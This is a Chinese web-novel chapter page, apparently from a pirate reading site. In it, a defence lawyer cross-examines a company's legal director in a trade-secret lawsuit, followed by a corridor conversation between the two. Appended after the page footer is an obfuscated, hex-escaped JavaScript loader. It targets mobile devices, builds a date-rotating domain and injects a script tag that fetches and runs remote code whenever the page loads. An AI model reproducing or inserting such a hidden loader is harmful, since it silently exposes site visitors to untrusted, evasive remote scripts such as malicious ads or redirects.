返回第一百四十七章 最后的证人  书包仔首页

关灯 护眼     字体:

上一章 目录 下一章

沉牧之的申请是开庭前一天递交的。书记员在电话里顿了一下,“您要传唤原告代理人出庭作证?”语气象在确认自己有没有听错。沉牧之确认了。对方是原告的法务总监,熟悉公司的保密制度。他比任何证人都清楚,公司有没有明确告知员工哪些代码属于商业秘密。他申请传唤周明出庭。

周明接到通知时,沉牧之不在场。但他可以想见那个画面:周明把打印纸轻轻放在桌面,面无表情地愣了片刻,然后抬头看了书记员一眼,没说多馀的话。“可以。”

开庭。最后一位证人。周明走到证人席坐下,深蓝色西装,银灰色领带——跟上次开庭同样的搭配。沉牧之注意到他的衬衫袖口扣得很紧,也是他那种性格,一丝不苟,不允许任何细节出错。

沉牧之走到证人席前,距离两米。不近不远。

“周总监,你在星辰科技有限公司担任什么职务?”

“法务总监。”

“负责公司的知识产权保护工作?”

“是。”

“包括商业秘密的保护?”

“是。”

沉牧之翻开桌上的文档夹,抽出那份保密协议复印件。“周总监,这是贵公司的保密协议。被告林晓入职时签过字。请问,这份协议里,有没有明确枚举哪些代码属于商业秘密?”

周明没有看那份协议,他看了无数遍。“没有。商业秘密的定义是——”

“我知道定义。我问的是,有没有明确枚举。比如,推荐引擎的召回模块是不是商业秘密?排序算法是不是?用户画象系统是不是?协议里有没有写这些具体的模块名称?”

“没有。”

“所以被告签协议的时候,不知道哪些代码属于商业秘密。对吗?”

“他签了协议,就应该知道,商业秘密的定义在协议里写得很清楚。”

“‘不为公众所知悉,能为权利人带来经济利益,具有实用性并经权利人采取保密措施的技术信息和经营信息。’这是法律条文的重述。不是具体的代码清单。一个普通的工程师,光凭这几句话,能判断出自己写的哪一行代码属于商业秘密吗?”

周明没说话。

沉牧之转回身,看着审判席。“审判长,原告的保密协议中,没有明确枚举哪些代码属于商业秘密。被告无法判断。他只能猜。猜错了,就是侵权。”

转回身。“周总监,被告在职期间,公司有没有对他进行专门的保密培训?”

“有。新员工入职的时候,都有。”

“培训的内容是什么?”

“保密协议的内容。商业秘密的定义。员工的保密义务。”

“有没有明确告诉他,推荐引擎的召回模块属于商业秘密?”

“不需要明确告诉他。他是该模块的开发者,他知道这个模块的重要性。”

“他知道重要性,不等于知道它是商业秘密。公司有没有书面的规定,把某些代码列为商业秘密?”

“有。”

沉牧之从文档夹里抽出另一份文档。“这是原告在证据交换阶段提交的《商业秘密清单》。其中枚举了十五个代码模块。请问,这份清单是什么时候制定的?”

“去年。”

“被告林晓是什么时候离职的?”

“也是去年。”

“清单是在被告离职之后制定的。对吗?”

“对。”

“也就是说,被告在职期间,公司没有这份清单。他根本不知道,自己写的哪些代码被公司列为商业秘密。”

周明没回答。

沉牧之等了几秒。“周总监,被告离职后,公司有没有通知他,哪些代码不能留在个人设备里?”

周明抬起头。“保密协议里有规定。离职后要交还所有商业秘密。他交还了服务器的代码,个人电脑里的没有清干净。”

“公司有没有明确告诉他,个人电脑里的也要清?”

“保密协议里有规定。”

“又是保密协议。被告签的协议里有‘应删除’这三个字吗?没有。协议里写的是‘交还’。他交了。服务器里的代码,他删不了,那是管理员的事。他只能删自己计算机里的。他删了。在收到贵公司的律师函之后,他删了。法律没有规定,必须在律师函之前删。”

沉牧之停顿了一下。“周总监,贵公司起诉被告索赔五百万元。请问这五百万元是怎么算出来的?”

“被告的行为给公司造成了重大损失。”

“什么损失?”

“公司投入了大量人力物力开发这些代码。被告窃取了这些代码,公司损失了研发投入。”

“公司有证据证明被告使用了这些代码吗?”

“他在云盘里存了,就是获取了。获取了,就是侵权。”

“侵权不等于造成损失。公司去年的业绩有没有下降?”

“没有。”

“今年的呢?”

“现在才上半年。”

“去年的业绩没有下降,今年的还不知道。那五百万元的损失,是怎么算出来的?”

周明低下头。“是估算。”

“有估算依据吗?”

“有。被告窃取的代码的开发成本,大约是五百万元。”

“这些代码的开发成本,包括哪些?”

“开发人员的工资、设备、软件授权。”

“被告在职期间,参与了这些代码的开发。他的工资,公司已经付过了。设备、软件授权,也都已经付过了。公司算损失的时候,有没有把被告自己贡献的那部分扣除?”

沉牧之等着,周明没有回答。他等了片刻。“周总监,商业秘密侵权,需要证明被告‘使用’了这些代码。公司有没有证据证明被告使用过?”

“没有。”

“有没有证据证明被告将代码提供给第三方?”

“没有。”

“有没有证据证明被告利用这些代码为自己或他人牟利?”

“没有。”

“那公司凭什么说被告侵权?”

周明看着沉牧之。“周总监,时间差不多了。感谢你出庭作证。谢谢你。”沉牧之回到辩护席,坐下来。全程语气平静。

审判长看了一眼合议庭。“证人可以退庭了。”周明走到门口的时候,沉牧之看见他的背影还是那么直,西装还是那么挺。

休庭。林晓转过头看着沉牧之,额头上全是汗。

“沉律师,他能说吗?他也算个证人。”

“他说了。”

“他说公司没告诉他哪些是商业秘密。”

“他承认了。”

“那他岂不是在帮我们?”

“他在说实话。他不是在帮我们,他是在帮法律。他只是说出了事实。事实不会偏袒任何一方。”

林晓不太明白。沉牧之没有解释。

沉牧之站在走廊里点了一根烟,烟雾在走廊的灯下缓缓上升。周明从厕所方向走过来,拐角处停了一下。两个人,隔着十几步。

周明先开口。“沉律师,你今天的问题很犀利。”

“你的回答很诚实。”

“我是律师。我作证的时候说的是实话。”

“我知道。”

周明沉默了几秒。“这个案子,你怎么看?”

“我看证据。证据不够。”

“证据够不够,不是你我决定的。”

“是法官决定的。”

两个人并肩走出法院大门。天还是阴着,风很大。

“沉律师,你说,商业秘密案,到底是在保护创新,还是在保护拢断?”沉牧之把烟头按灭,扔进垃圾桶。

“保护创新。”

“你觉得这个案子是在保护创新吗?”

沉牧之看着他,没有回答。

“走了。”

“恩。”

周明走下台阶,他的背影消失在街角。沉牧之站在那里,风把他的大衣吹得猎猎作响。周明问的,他自己能回答吗?商业秘密案,保护的是创新还是拢断?

大公司有大公司的逻辑。投入了,研发了,卖钱了,这就是我的,你不能碰。小人物有小人物逻辑。我写了,我懂,我走了,我带走的只是我脑子里的东西,不是你的。谁对谁错?法律放在中间。

他转过身走回法院。走廊很长。他的脚步声在空荡荡的走廊里回荡得很远很远。林晓还在等。案子还没完。沉牧之不能提前走。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");